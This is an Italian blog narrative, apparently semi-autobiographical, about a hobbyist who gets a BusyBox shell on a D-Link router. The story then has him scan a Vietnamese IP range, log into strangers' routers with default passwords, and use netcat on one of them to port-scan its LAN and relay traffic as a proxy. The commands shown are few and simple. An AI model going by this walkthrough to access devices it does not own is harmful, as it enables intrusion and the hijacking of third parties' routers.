Luca sorrise, “Funziona! Non mi resta che vedere le altre funzionalità e programmi già presenti sul router e farmi venire qualche buona idea. In fondo non ho voglia di reinventare la ruota, e poi devo conoscere meglio l’ambiente in cui andrò a programmare…”

Eccoci di nuovo a oggi.

“Accidenti, potevo non giocherellare con i tool della Texas Instruments per la configurazione del firmware! Ora il router é andato e naturalmente la Trust non documentazione veramente utile…”

Riposa In Pace

Riposa In Pace

NDA: In effetti fin qui la storia é basata su fatti realmente accaduti. Purtroppo il Router é andato in pensione prima del tempo, e a dire la verità non ho ancora ben capito cosa ha provocato i danni alla memoria flash. Questi dispositivi sono abbastanza delicati, quindi evitate di eseguire comandi o azioni di cui non conoscete perfettamente il funzionamento. Adesso il router é accessibile solo tramite adam2 (http://www.beyondlogic.org/nb5/ADAM2_bootloader.htm), quindi se qualcuno con lo stesso modello vuole aiutarmi ad aggiustarlo (dovrebbero servirmi solo alcuni valori di configurazione) può mandarmi una mail…

“Eccoci arrivati!”, pensò Luca. L’insegna di PrCant, il suo spaccio hardware di fiducia, lo invitava ad entrare. Era amico col titolare del negozio da qualche anno, e avevo svolto diversi lavori per lui, facendosi perlopiù pagare in natura (un consiglio per i rivenditori di hardware. Se avete bisogno dell’aiuto di qualche geek informatico, avete mai provato a offrirgli i giocattolini che vendete al posto del denaro? La reazione potrebbe sorprendervi).

“Come mai da queste parti? Cosa hai distrutto questa volta?”, il titolare conosceva le tendenze di Luca. “Hei, non scherzare! Comunque questa volta non é stata colpa mia ;). “Si, come no… Comunque a me non interessa, altrimenti non ti vedrei così spesso nel mio negozio. Da solo costituisci il 30% del mio business!” e fece l’occhiolino a Luca che già si dirigeva allo scaffale dei Modem adsl.

Scelse un DSL-2542B, uno degli ultimi modelli D-Link. L’apparecchio era molto più potente del precedente e il prezzo non era eccessivo. Oltre al fatto che i prodotti D-Link sono ampliamente documentati e modificati dalla comunità open source.

Il DSL-2542B in tutto il suo splendore

Il DSL-2542B in tutto il suo splendore

Di nuovo a casa…

“Diamo un’occhiata al nuovo Router…”

Main Menu

1.  ADSL Link State
2.  LAN
3.  WAN
4.  DNS Server
5.  Route Setup
6.  NAT
7.  Firewall
8.  Quality Of Service
9.  Management
10. Passwords
11. Diag
12. Reset to Default
13. Save and Reboot
14. Exit
 ->

“Umm… Mi appare questo menù. Le opzioni le conosco già perché sono quelle dell’interfaccia web.”

 -> foo
foo: not found

Hit <enter> to continue

“Provando a inserire una parola a caso mi dice che il file non é presente. Vuoi vedere che…”

 -> sh
app: sh

BusyBox v1.00 (2008.01.04-02:23+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

#

“Bene, ora ho la mia shell. Busybox sembra molto più recente rispetto al Trust. Vediamo meglio le caratteristiche del sistema”

# cat /proc/version
Linux version 2.6.8.1 (jenny@FD5) (gcc version 3.4.2) #1 Fri Jan 4 10:19:37 CST 2008
# cat /proc/cpuinfo
system type             : 96338W
processor               : 0
cpu model               : BCM6338 V1.0
BogoMIPS                : 239.20
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : yes
hardware watchpoint     : no
unaligned access                : 4551171
VCED exceptions         : not available
VCEI exceptions         : not available

“Wow. Rispetto al vecchio router é un bel passo avanti! Ci gira anche un Kernel 2.6!”,  infatti la maggior parte dei device in commercio utilizza un Kernel 2.4.x. “Con questo si che mi posso divertire… Umm… Forse é meglio evitare di rompere subito anche questo modem, dovrei prima fare pratica con qualcosa di sacrificabile…” Dopo qualche secondo un sorriso maligno gli comparì sul volto.

Router discovery

“Ho bisogno di trovare un router che offra un interfaccia a linea di comando accessibile via internet e che faccia girare Linux. Ormai questi dispositivi vengono tutti configurati tramite interfaccia web, quindi potrei usare uno scanner di server web…” Luca si ricordò di un programma rilasciato di recente che faceva proprio quello che gli serviva. Il programma era HttSquash rilasciato insieme alla suite di strumenti Complemento, di cui ora era disponibile anche un’interfaccia grafica. Scaricò e compilò il programma. “Bene, ora devo solo decidere su che reti fare la scansione”. Optò per reti vietnamite: di sicuro non ci sono accordi per l’espatrio dei criminali… “Ok, range ip 123.20.1.1-255, porta 80 e secondi 2. Iniziamo la scansione… “

Risultato della scansione

Risultato della scansione

“Accidenti, su queste reti c’é di tutto! Telecamere di sorveglianza, router, stampanti… E sono tutte accessibili al di fuori della rete locale, esposte a ogni genere di attacco. Di certo in alcuni paesi asiatici non si é ancora sviluppata una certa consapevolezza dei rischi.”

NDA: In effetti questo é vero. Alcuni paesi del mondo sono una vera manna per chi vuole creare botnet e quant’altro perché le misure di sicurezza, specie per le piccole aziende e per gli utenti domestici, sono qualcosa di sconosciuto. In questo caso vediamo una gran quantità di networked devices accessibili via internet. Ma se ci si riesce a far girare programmi sopra, che differenza rimane tra un router e un computer infetto? La differenza di potenza della cpu? In questi casi non é richiesta…

“Non mi resta che tentare con qualcosa di banale, vediamo se hanno cambiato le password di default…” E dopo uno, due, tre e quattro dispositivi che non apponevano la minima resistenza Luca pensò “Questo posto é una miniera d’oro! Potrei semplicemente portare un programma per il controllo remoto su questi dispositivi e avrei la mia botnet personale: é come rubare caramelle a un bambino!” Ma, Luca non era il tipo interessato a queste cose, preferiva sperimentare solamente con la programmazione senza rischiare di rendere inutilizzabile il suo hardware. Comunque sperimentò lo stesso qualche trucchetto con netcat.

“Proviamo con una scansione della rete locale”

# ping 192.168.1.5
PING 192.168.1.5 (192.168.1.5) 56(84) bytes of data.
64 bytes from 192.168.1.5: icmp_seq=1 ttl=64 time=0.095 ms
64 bytes from 192.168.1.5: icmp_seq=2 ttl=64 time=0.080 ms
...

“Bene questo host é attivo. Scarichiamo netcat con tftp e proviamo le sue funzionalità di port scanning”

 # ./nc -z -v 192.168.1.5 1-1000
(UNKNOWN) [192.168.1.5] 135 (loc-srv) open
(UNKNOWN) [192.168.1.5] 445 (microsoft-ds) open
(UNKNOWN) [192.168.1.5] 5000 (?) open

“Hehe, sembrerebbe un sistema windows. Potrei usare la funzionalità di port forwarding per connettermi a un host interno, e dalle porte che ho visto magari ci sono delle condivisioni accessibili con Samba. Ma ho in mente di meglio…” E digitò:

# ./nc -p 4444 -L whatismyipaddress.com:80

Poi puntò il suo browser all’indirizzo del router, porta 4444. Questo é ciò che ottenne:

General Information

    Hostname: 123.20.1.4
    ISP: VietNam Post and Telecom Corporation
    Organization: Ho Chi Minh City Post and Telecom Company (HCMPT)
    Proxy: None detected
    Type: Cable/DSL
    Blacklist:

Geo-Location Information

    Country: Vietnam
    State/Region: 20
    City: Ho Chi Minh City
    Latitude: 10.75
    Longitude: 106.6667
    Area Code:

Geo-Location Map

“Ed ecco a voi un proxy a basso costo e ad alta velocità! Si, la vita é decisamente facile per i cracker…” Ma era quasi ora di cena, e avendo pranzato in maniera frettolosa il suo stomaco si lamentava. “Per oggi basta giocare! Vediamo se mi é rimasto qualcosa di precotto in freezer” e detto questo, premette CTRL+ALT+L e si diresse in cucina.

Follow

Get every new post delivered to your Inbox.